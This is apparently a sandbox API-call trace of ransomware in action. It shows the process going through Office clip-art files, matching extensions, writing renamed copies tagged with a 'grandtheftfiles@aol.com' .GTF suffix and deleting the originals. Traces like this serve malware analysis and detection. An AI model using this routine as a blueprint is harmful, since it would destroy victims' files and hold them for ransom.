	[0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.112] lstrlenW (lpString=".doc") returned 4
	[0079.112] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.112] lstrlenW (lpString=".docx") returned 5
	[0079.112] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.112] lstrlenW (lpString=".pdf") returned 4
	[0079.112] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.112] lstrlenW (lpString=".xls") returned 4
	[0079.112] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString=".xlsx") returned 5
	[0079.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.113] lstrlenW (lpString=".ppt") returned 4
	[0079.113] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString=".zip") returned 4
	[0079.113] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString=".rar") returned 4
	[0079.113] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString=".bz2") returned 4
	[0079.113] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.113] lstrlenW (lpString=".7z") returned 3
	[0079.113] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString=".dbf") returned 4
	[0079.113] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString=".1cd") returned 4
	[0079.113] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString=".jpg") returned 4
	[0079.113] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.113] lstrlenW (lpString=".doc") returned 4
	[0079.113] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.113] lstrlenW (lpString=".docx") returned 5
	[0079.113] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.113] lstrlenW (lpString=".pdf") returned 4
	[0079.113] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString=".xls") returned 4
	[0079.113] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.113] lstrlenW (lpString=".xlsx") returned 5
	[0079.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.113] lstrlenW (lpString=".ppt") returned 4
	[0079.113] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.114] lstrlenW (lpString=".zip") returned 4
	[0079.114] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.114] lstrlenW (lpString=".rar") returned 4
	[0079.114] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.114] lstrlenW (lpString=".bz2") returned 4
	[0079.114] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.125] lstrlenW (lpString=".7z") returned 3
	[0079.125] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.125] lstrlenW (lpString=".dbf") returned 4
	[0079.125] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.125] lstrlenW (lpString=".1cd") returned 4
	[0079.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0079.125] lstrlenW (lpString=".jpg") returned 4
	[0079.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.125] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0079.125] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0079.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.126] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9248) returned 1
	[0079.126] CloseHandle (hObject=0x388) returned 1
	[0079.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220
	[0079.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0079.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.127] GetLastError () returned 0x0
	[0079.127] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2420, lpOverlapped=0x0) returned 1
	[0079.128] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2430, lpOverlapped=0x0) returned 1
	[0079.130] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.130] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.130] SetEndOfFile (hFile=0x35c) returned 1
	[0079.130] CloseHandle (hObject=0x35c) returned 1
	[0079.131] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.131] SetEndOfFile (hFile=0x388) returned 1
	[0079.132] CloseHandle (hObject=0x388) returned 1
	[0079.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0079.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1
	[0079.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.132] lstrlenW (lpString=".doc") returned 4
	[0079.132] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.132] lstrlenW (lpString=".docx") returned 5
	[0079.132] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.132] lstrlenW (lpString=".pdf") returned 4
	[0079.132] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.132] lstrlenW (lpString=".xls") returned 4
	[0079.132] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.132] lstrlenW (lpString=".xlsx") returned 5
	[0079.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.132] lstrlenW (lpString=".ppt") returned 4
	[0079.132] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".zip") returned 4
	[0079.133] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString=".rar") returned 4
	[0079.133] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString=".bz2") returned 4
	[0079.133] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.133] lstrlenW (lpString=".7z") returned 3
	[0079.133] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".dbf") returned 4
	[0079.133] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".1cd") returned 4
	[0079.133] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".jpg") returned 4
	[0079.133] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".doc") returned 4
	[0079.133] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.133] lstrlenW (lpString=".docx") returned 5
	[0079.133] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.133] lstrlenW (lpString=".pdf") returned 4
	[0079.133] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString=".xls") returned 4
	[0079.133] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString=".xlsx") returned 5
	[0079.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.133] lstrlenW (lpString=".ppt") returned 4
	[0079.133] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.133] lstrlenW (lpString=".zip") returned 4
	[0079.133] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.133] lstrlenW (lpString=".rar") returned 4
	[0079.134] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.134] lstrlenW (lpString=".bz2") returned 4
	[0079.134] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.134] lstrlenW (lpString=".7z") returned 3
	[0079.134] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.134] lstrlenW (lpString=".dbf") returned 4
	[0079.134] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.134] lstrlenW (lpString=".1cd") returned 4
	[0079.134] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0079.134] lstrlenW (lpString=".jpg") returned 4
	[0079.134] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.134] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0079.134] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0079.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.134] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5016) returned 1
	[0079.134] CloseHandle (hObject=0x388) returned 1
	[0079.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220
	[0079.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0079.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.135] GetLastError () returned 0x0
	[0079.135] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1398, lpOverlapped=0x0) returned 1
	[0079.137] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13a0, lpOverlapped=0x0) returned 1
	[0079.138] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.138] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.138] SetEndOfFile (hFile=0x35c) returned 1
	[0079.138] CloseHandle (hObject=0x35c) returned 1
	[0079.139] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.139] SetEndOfFile (hFile=0x388) returned 1
	[0079.140] CloseHandle (hObject=0x388) returned 1
	[0079.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0079.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1
	[0079.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.140] lstrlenW (lpString=".doc") returned 4
	[0079.140] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.140] lstrlenW (lpString=".docx") returned 5
	[0079.140] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.140] lstrlenW (lpString=".pdf") returned 4
	[0079.140] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.140] lstrlenW (lpString=".xls") returned 4
	[0079.140] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.140] lstrlenW (lpString=".xlsx") returned 5
	[0079.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.140] lstrlenW (lpString=".ppt") returned 4
	[0079.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".zip") returned 4
	[0079.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString=".rar") returned 4
	[0079.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString=".bz2") returned 4
	[0079.141] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.141] lstrlenW (lpString=".7z") returned 3
	[0079.141] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".dbf") returned 4
	[0079.141] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".1cd") returned 4
	[0079.141] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".jpg") returned 4
	[0079.141] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".doc") returned 4
	[0079.141] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.141] lstrlenW (lpString=".docx") returned 5
	[0079.141] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.141] lstrlenW (lpString=".pdf") returned 4
	[0079.141] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString=".xls") returned 4
	[0079.141] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString=".xlsx") returned 5
	[0079.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.141] lstrlenW (lpString=".ppt") returned 4
	[0079.141] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.141] lstrlenW (lpString=".zip") returned 4
	[0079.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.141] lstrlenW (lpString=".rar") returned 4
	[0079.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.142] lstrlenW (lpString=".bz2") returned 4
	[0079.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.142] lstrlenW (lpString=".7z") returned 3
	[0079.142] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.142] lstrlenW (lpString=".dbf") returned 4
	[0079.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.142] lstrlenW (lpString=".1cd") returned 4
	[0079.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0079.142] lstrlenW (lpString=".jpg") returned 4
	[0079.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.142] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0079.142] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0079.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.142] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4390) returned 1
	[0079.142] CloseHandle (hObject=0x388) returned 1
	[0079.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220
	[0079.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0079.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.143] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.143] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.143] GetLastError () returned 0x0
	[0079.143] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1126, lpOverlapped=0x0) returned 1
	[0079.145] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1130, lpOverlapped=0x0) returned 1
	[0079.148] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.148] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.148] SetEndOfFile (hFile=0x35c) returned 1
	[0079.148] CloseHandle (hObject=0x35c) returned 1
	[0079.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.149] SetEndOfFile (hFile=0x388) returned 1
	[0079.150] CloseHandle (hObject=0x388) returned 1
	[0079.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
